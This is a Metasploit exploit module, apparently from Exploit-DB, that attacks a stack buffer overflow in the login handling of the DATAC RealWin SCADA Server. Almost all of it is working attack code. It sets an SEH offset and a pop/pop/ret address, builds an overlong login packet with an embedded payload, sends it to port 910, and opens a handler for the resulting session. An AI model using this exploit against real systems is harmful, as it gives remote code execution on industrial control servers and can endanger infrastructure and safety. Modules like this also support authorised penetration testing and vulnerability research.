RealWin SCADA Server - DATAC Login Buffer Overflow (Metasploit)

##

# $Id: realwin_on_fcs_login.rb 13007 2011-06-22 22:36:55Z sinn3r $

##

 

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

    Rank = GreatRanking

 

    include Msf::Exploit::Remote::Tcp

    include Msf::Exploit::Remote::Seh

 

    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'RealWin SCADA Server DATAC Login Buffer Overflow',

            'Description'    => %q{

                    This module exploits a stack buffer overflow in DATAC Control

                International RealWin SCADA Server 2.1 (Build 6.0.10.10) or

                earlier.  By sending a specially crafted On_FC_CONNECT_FCS_LOGIN

                packet containing a long username, an attacker may be able to

                execute arbitrary code.

            },

            'Author'         =>

                [

                    'Luigi Auriemma', #discovery

                    'MC',

                    'B|H '

                ],

            'License'        => MSF_LICENSE,

            'Version'        => '$Revision: 13007 $',

            'References'     =>

                [

                    [ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],

                    [ 'URL', 'http://www.dataconline.com/software/realwin.php' ],

                ],

            'Privileged'     => true,

            'DefaultOptions' =>

                {

                    'EXITFUNC' => 'thread',

                },

            'Payload'        =>

                {

                    'Space'    => 450,

                    'BadChars' => "\x00\x20\x0a\x0d",

                    'StackAdjustment' => -3500,

                },

            'Platform'       => 'win',

            'Targets'        =>

                [

                    [ 'Universal',

                        {

                            'Offset'   => 392,         # Offset to SEH

                            'Ret'      => 0x40012540,  # pop/pop/ret @FlexMLang.dll

                        }

                    ],

                ],

            'DefaultTarget' => 0,

            'DisclosureDate' => 'Mar 21 2011'))

 

        register_options([Opt::RPORT(910)], self.class)

    end

 

    def exploit

        data =  [0x67542310].pack('V')

        data << [0x00000824].pack('V')

        data << [0x00110011].pack('V')

        data << "\x01\x00"

        data << rand_text_alpha_upper(target['Offset'])

        data << generate_seh_payload(target.ret)

        data << rand_text_alpha_upper(17706 - payload.encoded.length)

        data << [0x451c3500].pack('V')

        data << [0x00000154].pack('V')

        data << [0x00020040].pack('V')

 

        connect

        print_status("Trying target #{target.name}...")

        sock.put(data)

        select(nil,nil,nil,0.5)

        handler

        disconnect

    end

 

end




https://www.exploit-db.com/exploits/17434/